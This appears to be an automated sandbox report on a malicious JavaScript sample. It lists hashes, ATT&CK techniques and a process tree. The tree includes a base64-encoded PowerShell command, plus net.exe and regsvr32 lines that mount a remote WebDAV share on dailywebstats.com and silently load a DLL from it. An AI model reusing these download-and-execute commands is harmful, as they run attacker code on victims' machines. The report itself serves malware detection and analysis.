f45b7a9fde0b4564a563344ab86c179b03012264c190cb302c49cb7e6274c47d

Analysis

max time kernel
141s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 10:18

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General

Target
13235298801074626928.js
Size 18KB
Sample240726-mca1tavdlc
SHA256 f45b7a9fde0b4564a563344ab86c179b03012264c190cb302c49cb7e6274c47d
MD5 c50cb5b1ce30baa3bea79f78349ecce5
SHA1 b4651e9f23b3088d212b5028c26b9dcb63ceb3d1
SHA512 7a17d954a7873557334618e39cbe2b5a9bd38e82c38c9b03eec2117b4a6db2242f55628b913dee868f873d8aea4b68da4aa755fc5618b2d9eb96d0e0589ccdd9
SSDEEP 96:XD29pZDZDBD1O4kAT1k9BVYJQQ0RatHv0Oc8ugZJTZVBaDk0Oc8ugZJTZVB/VdbP:XD2BVlF1k9E7eqrckeqr7
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5064	powershell.exe
5064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3544 wrote to memory of 5064	3544	wscript.exe	84
PID 3544 wrote to memory of 5064	3544	wscript.exe	84
PID 5064 wrote to memory of 3948	5064	powershell.exe	86
PID 5064 wrote to memory of 3948	5064	powershell.exe	86
PID 5064 wrote to memory of 316	5064	powershell.exe	87
PID 5064 wrote to memory of 316	5064	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\13235298801074626928.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADUAOAAzADMAMQA3ADgANQA3ADIANgA3ADAAMAAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:3948
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\58331785726700.dll
    3⤵
    PID:316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_p4ng0avx.1tl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p4ng0avx.1tl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/5064-0-0x00007FFF066F3000-0x00007FFF066F5000-memory.dmp

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memory/5064-1-0x00000254DEAD0000-0x00000254DEAF2000-memory.dmp

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memory/5064-11-0x00007FFF066F0000-0x00007FFF071B1000-memory.dmp

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memory/5064-12-0x00007FFF066F0000-0x00007FFF071B1000-memory.dmp

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memory/5064-15-0x00007FFF066F0000-0x00007FFF071B1000-memory.dmp

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